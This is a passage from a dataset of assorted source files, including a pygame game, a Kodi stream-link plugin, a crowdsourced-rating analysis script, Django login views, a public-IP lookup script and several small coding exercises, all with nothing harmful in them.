self.level1()\n\n def door_collision(self):\n if doors.keypedestal >= 1:\n if (player.x - 65 <= doors.doorx and (player.x + 40) >= doors.doorx and player.y <= doors.doory and (player.y + 40) >= doors.doory):\n self.state += 1\n player.__init__() # resets all enemy and player variables\n enemy.__init__()\n key.__init__()\n doors.__init__()\n level.__init__()\n particle1.__init__()\n drop.var()\n\n def intro(self):\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.run = False\n\n level.intro()\n removeproj(player.getprojlist())\n doors.displaypedestal()\n player.draw()\n particle1.emit()\n particle2.emit()\n particle3.emit()\n key.key1lvl1char()\n doors.doorstate()\n doors.pedestalcoll()\n doors.displaydoor()\n enemy.drawchest()\n drop.healthpotionchest()\n key.keylvl1chest()\n level.level1lighting()\n stats.draw()\n levelnum.door_collision()\n self.keys = pygame.key.get_pressed()\n pygame.display.update()\n\n # self.doorx - 10 <= Player.x and (self.doorx + 40) >= Player.x and self.doory - 10 <= Player.y and (self.doory + 40) >= player.y:\n\n def level1(self):\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.run = False\n\n level.level1()\n doors.displaypedestal()\n player.draw()\n key.key1lvl1char()\n doors.pedestalcoll()\n doors.doorstate()\n doors.displaydoor()\n enemy.shoot()\n particle1.emit()\n particle2.emit()\n particle3.emit()\n enemy.draw()\n enemy.update()\n removeproj(player.getprojlist())\n removeproj(enemy.getprojlist())\n levelnum.door_collision()\n drop.healthpotion()\n key.keylvl1()\n level.level1lighting()\n stats.draw()\n pygame.display.update()\n\n def level2(self):\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n level.level1()\n doors.displaypedestal()\n player.draw()\n particle1.emit()\n particle2.emit()\n particle3.emit()\n key.key1lvl1char()\n doors.pedestalcoll()\n doors.doorstate()\n doors.displaydoor()\n enemy.shoot()\n enemy.draw2()\n enemy.update()\n removeproj(player.getprojlist())\n removeproj(enemy.getprojlist())\n levelnum.door_collision()\n drop.healthpotion()\n key.keylvl1()\n level.level1lighting()\n stats.draw()\n pygame.display.update()\n\n def level3(self):\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n level.level1()\n doors.displaypedestal()\n player.draw()\n particle1.emit()\n particle2.emit()\n key.key1lvl1char()\n doors.pedestalcoll()\n doors.doorstate()\n doors.displaydoor()\n enemy.shoot()\n enemy.draw3()\n enemy.update()\n removeproj(player.getprojlist())\n removeproj(enemy.getprojlist())\n levelnum.door_collision()\n drop.healthpotion()\n key.keylvl1()\n level.level1lighting()\n stats.draw()\n pygame.display.update()\n\nclass keyParticle:\n def __init__(self):\n self.particles = []\n self.particles2 = []\n\n def emit(self):\n if self.particles:\n self.delete_particles()\n for particle in self.particles:\n particle[0][1] += particle[2][0]\n particle[0][0] += particle[2][1]\n particle[1] -= 0.2\n pygame.draw.circle(display, (225,225,225),particle[0],int(particle[1]))\n\n def add_particles(self):\n self.pos_x = enemy.xkey + 15\n self.pos_y = enemy.ykey + 285 + 10\n self.radius = 7\n self.direction_x = random.randint(-2, 2)\n self.direction_y = random.randint(-2, 2)\n self.particle_circle = [[self.pos_x, self.pos_y], self.radius, [self.direction_x, self.direction_y]]\n self.particles.append(self.particle_circle)\n\n def add_particles1(self):\n self.pos_x = enemy.xkey + 15\n self.pos_y = enemy.ykey + 10\n self.radius = 7\n self.direction_x = random.randint(-2, 2)\n self.direction_y = random.randint(-2, 2)\n self.particle_circle = [[self.pos_x, self.pos_y], self.radius, [self.direction_x, self.direction_y]]\n self.particles.append(self.particle_circle)\n\n def add_particlesp(self):\n self.pos_x = enemy.x + 25\n self.pos_y = enemy.y + 25\n self.radius = 7\n self.direction_x = random.randint(-3, 3)\n self.direction_y = random.randint(-3, 3)\n self.particle_circle = [[self.pos_x, self.pos_y], self.radius, [self.direction_x, self.direction_y]]\n self.particles.append(self.particle_circle)\n\n def delete_particles(self):\n self.particle_copy = [particle for particle in self.particles if particle[1] > 0]\n self.particles = self.particle_copy\n\nclass playerParticle:\n def __init__(self):\n self.particles = []\n\n def emit(self):\n if self.particles:\n self.delete_particles()\n for particle in self.particles:\n particle[0][1] += particle[2][0]\n particle[0][0] += particle[2][1]\n particle[1] -= 0.2\n pygame.draw.circle(display, (225,50,0),particle[0],int(particle[1]))\n\n def add_particles(self):\n self.pos_x = player.x + 20\n self.pos_y = player.y + 20\n self.radius = 8\n self.direction_x = random.randint(-2, 2)\n self.direction_y = random.randint(-2, 2)\n self.particle_circle = [[self.pos_x, self.pos_y], self.radius, [self.direction_x, self.direction_y]]\n self.particles.append(self.particle_circle)\n\n def delete_particles(self):\n self.particle_copy = [particle for particle in self.particles if particle[1] > 0]\n self.particles = self.particle_copy\n\nclass enemyParticle:\n def __init__(self):\n self.particles = []\n\n def emit(self):\n if self.particles:\n self.delete_particles()\n for particle in self.particles:\n particle[0][1] += particle[2][0]\n particle[0][0] += particle[2][1]\n particle[1] -= 0.2\n pygame.draw.circle(display, (225,50,0),particle[0],int(particle[1]))\n\n def add_particles(self):\n self.pos_x = enemy.x + 20\n self.pos_y = enemy.y + 20\n self.radius = 8\n self.direction_x = random.randint(-2, 2)\n self.direction_y = random.randint(-2, 2)\n self.particle_circle = [[self.pos_x, self.pos_y], self.radius, [self.direction_x, self.direction_y]]\n self.particles.append(self.particle_circle)\n\n def delete_particles(self):\n self.particle_copy = [particle for particle in self.particles if particle[1] > 0]\n self.particles = self.particle_copy\n\n\nPARTICLE_EVENT = pygame.USEREVENT + 1\npygame.time.set_timer(PARTICLE_EVENT,30)\n\nparticle1 = keyParticle()\nparticle2 = playerParticle()\nparticle3 = enemyParticle()\n\nclock = pygame.time.Clock()\n\ndoors = doors()\nplayer = Player()\nenemy = Enemy()\nenemy1 = Enemy()\nlevel = Levels()\nlevelnum = Gamestate()\nkeys = pygame.key.get_pressed()\nkey = Key()\ndrop = enemydrops()\nstats = statbar()\nproj = Projectile(0, 0)\n\nrun = True\n\nwhile run:\n levelnum.state_manager()\n\npygame.quit\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":33512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"48641706","text":"\n\nfrom xai.brain.wordbase.verbs._brace import _BRACE\n\n#calss header\nclass _BRACES(_BRACE, ):\n\tdef __init__(self,): \n\t\t_BRACE.__init__(self)\n\t\tself.name = \"BRACES\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"brace\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_braces.py","file_name":"_braces.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"148218475","text":"import xbmc\nimport xbmcgui\nimport re\nimport json\nfrom ..plugin import Plugin\n\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36'\nHEADERS = {\"User-Agent\": USER_AGENT, 'Referer': 'https://ustvgo.tv/'}\nPATTERN = re.compile(\"var hls_src='(.+?)';\")\n\nclass us(Plugin):\n name = \"us\"\n priority = 1\n\n def play_video(self, item):\n item = json.loads(item)\n title = item.get('title', 'Unknown Title')\n link = item.get('link')\n thumbnail = item.get('thumbnail', '')\n if link and 'ustvgo.tv/player.php' in link: \n from ..DI import DI\n try:\n play_link = PATTERN.findall(DI.session.get(link, headers=HEADERS).text)[0]\n except IndexError:\n return\n liz=xbmcgui.ListItem(title)\n liz.setInfo('video', {'title': title})\n liz.setArt({'icon': thumbnail, 'thumb': thumbnail, 'poster': thumbnail})\n xbmc.Player().play(play_link, listitem=liz)\n return True","sub_path":"plugin.video.thearchives/resources/lib/plugins/usgo.py","file_name":"usgo.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"597277260","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 26 10:37:17 2020\n#thanks to:\n https://machinelearningmastery.com/how-to-calculate-nonparametric-rank-correlation-in-python/\n Kendall vs. Spearman: https://datascience.stackexchange.com/questions/64260/pearson-vs-spearman-vs-kendall Kendall more robust, usually lower than Spearman\n\n@author: amc\n\"\"\"\n\nimport json\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import spearmanr, kendalltau\nimport csv\nfrom nltk.metrics import AnnotationTask\nimport random\n\nfilePath = \"/Users/amc/Documents/TOIA-NYUAD/research/data/\"\n\n\ndef open_json(file_path, file_name):\n with open(r\"{}{}\".format(file_path, file_name), \"r\") as read_file:\n return json.load(read_file)\n\n\nmodel1 = open_json(filePath, 'devTfIdfDialogues.json')\nmodel2 = open_json(filePath, 'devBm25Dialogues.json')\nmodel3 = open_json(filePath, 'devBERTbaseuncasedDialogues.json')\nmodel4 = open_json(filePath, 'devBERTqaRel1to100Dialogues.json')\nmodel5 = open_json(filePath, 'devBERTqaRel1toAllDialogues.json')\ngold = open_json(filePath, 'devGoldDialogues.json')\nresults = open_json(filePath, 'mTurkResults_2turns_all.json')\n\n# Transform to df\ndf = pd.DataFrame(gold)\n\n# Add field isGold to results dictionary\nfor i in range(len(results)):\n lookup = df[df['id']==results[i]['snippet_id']]['model_retrieved_answers']\n pred_ans = results[i]['predicted_answer']\n results[i]['isGold'] = 1 if lookup.values[0][0] == pred_ans else 0\n\n\n# Add model score to results\n# helper function:\ndef add_score(model, var_name):\n # results is global\n df = pd.DataFrame(model)\n for i in range(len(results)):\n try:\n index = df[df['id'] == results[i]['snippet_id']] \\\n ['model_retrieved_answers'].values[0]. \\\n index(results[i]['predicted_answer'])\n except ValueError:\n index = -1\n results[i][var_name] = 0 if index==-1 else \\\n df[df['id']==results[i]['snippet_id']]['scores'].values[0][index]\n\n\nadd_score(model1, 'model1Score')\nadd_score(model2, 'model2Score')\nadd_score(model3, 'model3Score')\nadd_score(model4, 'model4Score')\nadd_score(model5, 'model5Score')\n\nworkers_blacklist = []\nassignments_blacklist = []\nthr = 3\nfor item in results:\n if item['isGold']==1:\n answers = item['answers']\n item['trusted_answers'] = [ans for ans in answers if ans > thr]\n workers_blacklist.extend([item['worker_ids'][answers.index(ans)]\n for ans in answers if ans <= thr])\n assignments_blacklist.extend([\nitem['assignment_ids'][answers.index(ans)]\n for ans in answers if ans <= thr])\n\nworkers_blacklist = list(np.unique(workers_blacklist))\nassignments_blacklist = list(np.unique(assignments_blacklist))\n# Save assignemtn blacklist for rejecting assignments\nwith open(filePath + \"assignments_blacklist.csv\", \"w\") as f:\n writer = csv.writer(f)\n writer.writerow(assignments_blacklist)\n\nfor item in results:\n if item['isGold']==0:\n workers = item['worker_ids']\n answers = item['answers']\n item['trusted_answers'] = [answers[workers.index(worker)] \\\n for worker in workers if worker \\\n not in workers_blacklist]\n\nfor item in results:\n m = len(item['trusted_answers'])\n if m == len(item['answers']):\n item['all_blacklisted'] = False\n item['trusted_avg_answer'] = item['avg_answer']\n elif m != 0:\n item['all_blacklisted'] = False\n item['trusted_avg_answer'] = \\\n sum(item['trusted_answers'])/len(item['trusted_answers'])\n elif m == 0:\n item['all_blacklisted'] = True\n item['trusted_avg_answer'] = None\n\ndfResults = pd.DataFrame(results)\n\nnames=[]\nfor i in range(1,6):\n names.append('model{}Score'.format(i))\n\n### CORRELATIONS ###\n\nprint(\"Excluding unqualified workers (Spearman)\")\nfor i in names:\n dfTemp = dfResults[(~dfResults['all_blacklisted']) & (dfResults[i]>0)][['trusted_avg_answer', i]]\n print(\"\\n\", i, \" Correlation: \", dfTemp['trusted_avg_answer'].corr(dfTemp[i], 'spearman'))\n\nprint(\"\\n INCLUDING unqualified workers (Spearman)\")\nfor i in names:\n dfTemp = dfResults[dfResults[i]>0][['avg_answer', i]]\n print(\"\\n\", i, \" Correlation: \", dfTemp['avg_answer'].corr(dfTemp[i], 'spearman'))\n\nalpha = 0.05\nprint(\"Excluding unqualified workers\")\nfor i in names:\n dfTemp = dfResults[(~dfResults['all_blacklisted']) & (dfResults[i]>0)][['trusted_avg_answer', i]]\n coef, p = spearmanr(dfTemp['trusted_avg_answer'].values, dfTemp[i].values)\n # interpret the significance\n print(\"\\n\", i, \" Spearmans Correlation: %.3f\" % coef)\n if p > alpha:\n \tprint('Samples are uncorrelated (fail to reject H0) p=%.3f' % p)\n else:\n \tprint('Samples are correlated (reject H0) p=%.3f' % p)\n\nfor i in names:\n dfTemp = dfResults[(~dfResults['all_blacklisted']) & (dfResults[i]>0)][['trusted_avg_answer', i]]\n coef, p = kendalltau(dfTemp['trusted_avg_answer'].values, dfTemp[i].values)\n # interpret the significance\n print(\"\\n\", i, \" Kendall Correlation: %.3f\" % coef)\n if p > alpha:\n \tprint('Samples are uncorrelated (fail to reject H0) p=%.3f' % p)\n else:\n \tprint('Samples are correlated (reject H0) p=%.3f' % p)\n\n\ndfResults.to_csv('data/dfResultsAll.txt', sep='\\t', encoding='utf-8', index=False)\n\nworker_ids = []\nfor item in results:\n worker_ids.extend(item['worker_ids'])\n\nprint('tot workers: {}\\n tot ratings: {}'.format(\n len(pd.unique(worker_ids)), len(worker_ids)\n ))\n\n# Print InterAnnotators Agreements\nannotations_closest = []\nfor annotation in results:\n if len(set(annotation['worker_ids']) & set(workers_blacklist)) == 0:\n sorted_labels = sorted(annotation['answers'])\n if abs(sorted_labels[0] - sorted_labels[1]) < abs(sorted_labels[0] - sorted_labels[-1]):\n labels = [sorted_labels[0], sorted_labels[1]]\n else:\n labels = [sorted_labels[-1], sorted_labels[1]]\n random.shuffle(labels)\n for i in range(2):\n coder = 'c' + str(i + 1)\n item = annotation['hit_id']\n label = labels[i]\n annotations_closest.append((coder, item, label))\n\nannotations_lowest = []\nfor annotation in results:\n if len(set(annotation['worker_ids']) & set(workers_blacklist)) == 0:\n if annotation['worker_ids'] not in workers_blacklist:\n sorted_labels = sorted(annotation['answers'])\n labels = [sorted_labels[0], sorted_labels[1]]\n random.shuffle(labels)\n for i in range(2):\n coder = 'c' + str(i + 1)\n item = annotation['hit_id']\n label = labels[i]\n annotations_lowest.append((coder, item, label))\n\nannotations_highest = []\nfor annotation in results:\n if len(set(annotation['worker_ids']) & set(workers_blacklist)) == 0:\n sorted_labels = sorted(annotation['answers'])\n labels = [sorted_labels[1], sorted_labels[2]]\n random.shuffle(labels)\n for i in range(2):\n coder = 'c' + str(i + 1)\n item = annotation['hit_id']\n label = labels[i]\n annotations_highest.append((coder, item, label))\n\nannotations_random = []\nfor annotation in results:\n if len(set(annotation['worker_ids']) & set(workers_blacklist)) == 0:\n sorted_labels = sorted(annotation['answers'])\n labels = random.sample(sorted_labels, 2)\n random.shuffle(labels)\n for i in range(2):\n coder = 'c' + str(i + 1)\n item = annotation['hit_id']\n label = labels[i]\n annotations_random.append((coder, item, label))\n\nprint('Weighted Kappa (Cohen, 1968) \\n ------------------------- \\n \\\n Closest two Ratings: {};\\n \\\n Lowest two Ratings: {};\\n \\\n Highest two Ratings: {};\\n \\\n Random two Ratings: {}\\n'.format(\n AnnotationTask(data=annotations_closest).weighted_kappa(),\n AnnotationTask(data=annotations_lowest).weighted_kappa(),\n AnnotationTask(data=annotations_highest).weighted_kappa(),\n AnnotationTask(data=annotations_random).weighted_kappa()))\n\n### FOR WHICH QUESTIONS THERE IS LESS AGREEABLENESS? CoV by Q, check what they are, then calc. corr for cov high and small ###\n\n\n# Print reduction of data set by removing blacklist\nnumerator = 0\ndenominator = 0\nfor item in results:\n numerator += len(set(item['worker_ids']) & set(workers_blacklist))\n denominator += len(item['worker_ids'])\nnumerator/denominator\n\n#From here onward, exclude blacklist workers and gold answers. ### DOUBLE CHECK blacklsit WAS CORRECT EARLIER. IT SEEMS NOT ###\n\n# Note that here we remove only rows where all workers are blacklisted.\ndfResults = dfResults[(~dfResults['all_blacklisted']) & (dfResults['isGold'] == 0)]\n# And replace answers with trusted answers\ndfResults['answers'] = dfResults['trusted_answers']\ndfResults = dfResults.drop(columns=['trusted_answers'])\n\ndef CoV(x):\n # x is a list or numpy array\n if len(x) > 1:\n res = np.std(x)/np.mean(x)\n else:\n res = np.nan\n return res\n\ndfResults['lsCovs'] = [CoV(x) for x in dfResults['answers']]\nprint(dfResults['lsCovs'].describe())\n\nupThr = .50\nloThr = .25\n\nA = np.unique(dfResults[dfResults['lsCovs'] > upThr]['last_turn'])\nB = np.unique(dfResults[dfResults['lsCovs'] <= loThr]['last_turn'])\n\nprint(\n len(set(set(A) & set(B))), '\\n',\n len(set(A)), '\\n',\n len(set(B))\n )\n# I shall check my metrics only on these subsets!\nprint(\n # questions that go well with many answers (actually, that generrate more disagreement - either becasue go well with many answers or )\n set(A) - set(set(A) & set(B)), '\\n==============\\n',\n # questions that go well with only a few answers (rerunning with set2 = this and adding --and annotation['last_turn'] in set2)-- to the if conditions above when computing the interrannotator agrements, we find out that the agreement that improves the most is the Highest two Ratings (it doubles), meaning that the hyp is sound: questions go well with few answers as there is more agreement in the high ratings. set1 have worst agreement (negative!) on the highest 2 ratings.\n set(B) - set(set(A) & set(B))\n )\n#seems this shows where the model do well or not. Because, the answers raters rated are only the top 10 selections from 5 models, so where there is high disagreement, it means the models produced answers that is hard to agree upon. When there is low agreement, models might do all pretty well. --need to see human ratings by level of agreement, e.g., is it easier to agree on high or low ratings? Or, in other words, do all agree/disagree in correct answers, non correct, or both alike? Moreover, shall we introduce a random top 10 model to study the effect of model selections on disagreemnt?\n\nA = dfResults[dfResults['lsCovs'] > upThr]['predicted_answer']\nB = dfResults[dfResults['lsCovs'] <= loThr]['predicted_answer']\n\nprint(\n len(set(set(A) & set(B))), '\\n',\n len(set(A)), '\\n',\n len(set(B))\n )\nprint(\n # answers that go well with many questions (check if true -- yes, same experiment as above confirms)\n set(A) - set(set(A) & set(B)), '\\n==============\\n',\n # answers that go well with only a few questions (check if true)\n set(B) - set(set(A) & set(B))\n )\n#these are groups of answers that generate more disagreement (A) and less disagreements (B).\n\ndfResults.to_csv('data/dfResults_qualified_nogold.txt', \\\n sep='\\t', encoding='utf-8', index=False)\n\n###use crowd ratings as annotations and and calc Recall@x\n#build dataset like multiturn dialogues with BA1 - etc.\nlsCheck = []\n# For question in last turn of workers annotations\nfor q in set(dfResults['last_turn']):\n answers = list(dfResults[dfResults['last_turn'] == q]['predicted_answer'])\n scores = list(dfResults[dfResults['last_turn'] == q]['trusted_avg_answer'])\n selindices = np.argsort(scores, axis=0)[::-1]\n sortescores = np.sort(scores, axis=0)[::-1]\n mask = selindices[sortescores >= 3.5]\n lsCheck.append(len(mask))\nnBA = max(lsCheck)\n\ndicDf = {}\ndicDf['Q'] = []\nfor i in range(1, 1+nBA):\n dicDf['BA{}'.format(i)] = []\n\nfor q in set(dfResults['last_turn']):\n dicDf['Q'].append(q)\n answers = list(dfResults[dfResults['last_turn'] == q]['predicted_answer'])\n # 1st option\n scores = list(dfResults[dfResults['last_turn'] == q]['trusted_avg_answer'])\n selindices = np.argsort(scores, axis=0)[::-1]\n sortescores = np.sort(scores, axis=0)[::-1]\n mask = selindices[sortescores >= 3.5]\n #2nd option\n #scores = list(dfResults[dfResults['last_turn'] == q]['answers'])\n #mask = [idx for idx, votes in enumerate(scores) if any(votes)>3]\n #3rd option\n #scores = [max(votes) for votes in list(dfResults[dfResults['last_turn'] == q]['answers'])]\n #selindices = np.argsort(scores, axis=0)[::-1]\n #sortescores = np.sort(scores, axis=0)[::-1]\n #mask = selindices[sortescores > 3]\n #4th option\n #scores = [random.choice(votes) for votes in list(dfResults[dfResults['last_turn'] == q]['answers'])]\n #selindices = np.argsort(scores, axis=0)[::-1]\n #sortescores = np.sort(scores, axis=0)[::-1]\n #mask = selindices[sortescores > 3]\n for i in range(nBA):\n try:\n dicDf['BA{}'.format(1 + i)].append(answers[mask[i]])\n except IndexError:\n dicDf['BA{}'.format(1 + i)].append(np.nan)\n\ndfCrowdAnnotations = pd.DataFrame(dicDf)\n\ndfCrowdAnnotations.to_csv('data/dfCrowdAnnotations_opt1.txt', sep='\\t', encoding='utf-8', index=False)\n\n\n# borrow test_set_questions_ooctrain function from LREC_code_postreview.py and edit index\ndef transformDialogues(dfCrowdAnnotations, train_df):\n # modified to use index of answers in test WOzAnswers --> replaced with WOzAnswersIDs\n Context, WOzAnswersIDs = [], []\n allAs = list(train_df.Utterance.values)\n for example_id in range(len(dfCrowdAnnotations)):\n exampleWOzAnswers = list(dfCrowdAnnotations.iloc[example_id, 1:].values)\n# if not allnull(exampleWOzAnswers):\n tmp_WAs = []\n for distr in allAs:\n if distr in exampleWOzAnswers:\n tmp_WAs.append(allAs.index(distr)) ## INDEX IS BAD: THERE ARE MORE THAN 1 INDEX FOR ONE DISTR\n Context.append(dfCrowdAnnotations.iloc[example_id, 0])\n WOzAnswersIDs.append(tmp_WAs)\n return pd.DataFrame({'Context':Context, 'WOzAnswers':WOzAnswersIDs})\n\n\n# not sure if train should stay the same or not\n# Cannot really use crowd annotations as dev set annotations because I\n# should change the train set too. I should add more qa pairs in train\n# according to what has been annotated. Let's do it:\n# def updateTrain(df):\n# # get questions from old train that are answered by margarita's annotations.\n# df = df.loc[dfResults.trusted_avg_answer >= 3.5, ['last_turn', 'predicted_answer']]\n# df.reset_index(level=None, drop=True, inplace=True)\n# df.rename(columns = {'last_turn' : 'Context', 'predicted_answer' : 'Utterance'}, inplace = True)\n# return df.loc[:, ['Context', 'Utterance']]\n\n\n# train_df = updateTrain(dfResults)\n\ntrain_df = pd.read_csv('/Users/amc/Documents/TOIA-NYUAD/research/MargaritaCorpusKB.csv', encoding='utf-8')\nvalid_df = transformDialogues(dfCrowdAnnotations, train_df)\n\n#train_df.to_csv('data/crowd_train_df_opt1.txt', sep='\\t', encoding='utf-8', index=False)\n\nvalid_df.to_csv('data/crowd_valid_df_opt1.txt', sep='\\t', encoding='utf-8', index=False)\n\n\n# other things to check:\n ###cov for avg answer = good answers, bad, and so-so\n ###correlation for different quantiles of cov\n ###think about measuring the variability of answer per given question (e.g., words look very different / very similar (cosine sim usin bert / use model trained on semantic sim)) --is cov correlated well with this? what I expect is high cov corr with small semantic variability between answers.\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"research/mturk/analyzeResults.py","file_name":"analyzeResults.py","file_ext":"py","file_size_in_byte":15981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"339308003","text":"numero = 2464215017\n\ndcDigitado = numero % 10\nnumero = numero // 10\nsoma = 0\nfator = 2\nwhile numero != 0:\n dig = numero % 10\n dig = dig * fator\n valor = (dig // 10) + (dig % 10)\n soma = soma + valor\n numero = numero // 10\n if fator == 2:\n fator = 1\n else:\n fator = 2\n\nresto = soma % 10\ndcCalculado = 0\nif resto > 0:\n dcCalculado = 10 - resto\n\nif dcDigitado == dcCalculado:\n print(\"Parabéns, tudo certo!\")\nelse:\n print(\"Algo deu errado!\")","sub_path":"Beginning with Python/04Exe/Exe14.py","file_name":"Exe14.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"600613603","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nimport csv\n\nclass TutorialPipeline(object):\n def process_item(self, item, spider):\n film_name = item['film_name']\n film_gener = item['film_gener']\n plan_time = item['plan_time']\n with open('movie.csv', 'a') as csvfile:\n writer = csv.writer(csvfile, )\n writer.writerow([film_name, film_gener, plan_time])\n return item\n","sub_path":"week01/scrapy_xpath/tutorial/tutorial/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"458270406","text":"from django.urls import reverse_lazy\nfrom django.views.generic import CreateView\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom posts.models import Profile\nfrom .forms import LoginForm, UserRegistrationForm\n\n\ndef user_login(request):\n if request.method == 'POST':\n form = LoginForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n user = authenticate(username=cd['username'],\n password=cd['password'])\n if user is not None:\n if user.is_active:\n login(request, user)\n return HttpResponse('Вы авторизировались.')\n else:\n return HttpResponse('Аккаунт отключен')\n else:\n return HttpResponse('Неверный логин')\n else:\n form = LoginForm()\n return render(request, 'registration/login.html', {'form': form})\n\n\n@login_required\ndef dashboard(request):\n return render(request, 'dashboard.html', {'section': 'dashboard'})\n\n\ndef signup(request):\n if request.method == 'POST':\n user_form = UserRegistrationForm(request.POST)\n if user_form.is_valid():\n new_user = user_form.save(commit=False)\n new_user.set_password(user_form.cleaned_data['password'])\n new_user.save()\n profile = Profile.objects.create(user=new_user)\n return render(request, 'register_done.html', {'new_user': new_user})\n else:\n user_form = UserRegistrationForm()\n return render(request, 'signup.html', {'user_form': user_form})\n\n#\n# class SignUp(CreateView):\n# form_class = CreationForm\n# success_url = reverse_lazy('login')\n# template_name = \"signup.html\"\n","sub_path":"yatube/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"79959511","text":"import subprocess\nimport pathlib\nimport click\n\nFILE_PATH = pathlib.PosixPath(__file__)\n\nBASE_PATH = FILE_PATH.parent\nfile = (BASE_PATH/\"project/www/html/webdictionary.txt\").absolute().as_posix()\n\n@click.command()\n@click.option('--localhost', '-L', prompt='Bool', help='localhost', default=False, show_default='False')\ndef get_public_ip(localhost=False):\n bashCommand = \"\"\"host myip.opendns.com resolver1.opendns.com | grep \"myip.opendns.com has\" | awk '{print $4}'\"\"\"\n my_public_ip = subprocess.getoutput(bashCommand)\n if localhost:\n my_public_ip = \"localhost\"\n with open(file, 'w') as f:\n f.write(\"http://{}:5004/\".format(my_public_ip))\n return my_public_ip\n\nif __name__ == '__main__':\n my_public_ip = get_public_ip()\n print(my_public_ip)\n with open(file, 'w') as f:\n f.write(\"http://{}:5004/\".format(my_public_ip))\n \n \n \n\n\n\n\n","sub_path":"public_ip.py","file_name":"public_ip.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"408073853","text":"from base.deck import Deck\nclass Player:\n def __init__(self, name, isCPU=False, deck=None):\n assert isinstance(name, str), \"argument 0 (name) must be a string, got {}\".format(type(name))\n assert isinstance(isCPU, bool), \"argument 1 (isCPU) must be True or False, got {}\".format(type(isCPU))\n if deck is not None:\n assert isinstance(deck, Deck), \"argument 2 (deck) must be an instance of Deck or None to create an empty Deck, got {}\".format(type(deck))\n else:\n deck = Deck()\n self.name = name\n self.isCPU = isCPU\n self.deck = deck\n","sub_path":"base/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578221502","text":"from cubicweb.predicates import is_instance, is_in_state\nfrom cubicweb.sobjects.notification import NotificationView, StatusChangeMixIn\n\nclass BlogEntryPublishedView(StatusChangeMixIn, NotificationView):\n \"\"\"get notified from published blogs\"\"\"\n __select__ = is_instance('BlogEntry',) & is_in_state('published')\n content_attr = 'content'\n\n def subject(self):\n entity = self.cw_rset.get_entity(0, 0)\n return '[%s] %s' % (self._cw.vreg.config.appid, entity.dc_title())\n","sub_path":"blog/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"196694218","text":"# BT3051 Assignment 1b\r\n#Roll Number: BE14B002\r\n#Collaborators: BE14B020\r\n#Time: 45:00\r\nimport doctest\r\n\r\ndef translate_DNA(mrna, translation_table = 'RNA_TABLE.txt'):\r\n \"\"\"\r\n #function body including documentation and test cases\r\n >>> translate_DNA('AUGUAUGAUGCGACCGCGAGCACCCGCUGCACCCGCGAAAGCUGA')\r\n MYDATASTRCTRES\r\n >>> translate_DNA('AUGUA')\r\n The sequence is not a multiple of three.\r\n \"\"\"\r\n if (len(mrna)%3!=0):\r\n print(\"The sequence is not a multiple of three.\")\r\n else :\r\n with open(translation_table) as file:\r\n translate={}\r\n for lines in file:\r\n lines=lines.split()\r\n for itrans in range(0,len(lines),2):\r\n translate[lines[itrans]]=lines[itrans+1]\r\n prot=''\r\n for irna in range(0,len(mrna),3):\r\n if(translate[mrna[irna:irna+3]] == \"Stop\"):\r\n break\r\n prot+=translate[mrna[irna:irna+3]]\r\n\r\n print(prot)\r\n\r\nif __name__ == '__main__':\r\n doctest.testmod(verbose = True)\r\n","sub_path":"hw/hw1/hw1b.py","file_name":"hw1b.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"315650778","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the isValid function below.\r\ndef isValid(s):\r\n all_freq = {} \r\n for i in s: \r\n if i in all_freq: all_freq[i] += 1\r\n else: all_freq[i] = 1\r\n print(all_freq)\r\n for x in all_freq.values():\r\n count = 0\r\n for k in all_freq.values():\r\n if k != x and k - x == 1: count += 1\r\n if k != x and (k - x > 1 or count > 1): return 'NO'\r\n return 'YES'\r\n\r\nif __name__ == '__main__':\r\n fptr = open('answer.txt', 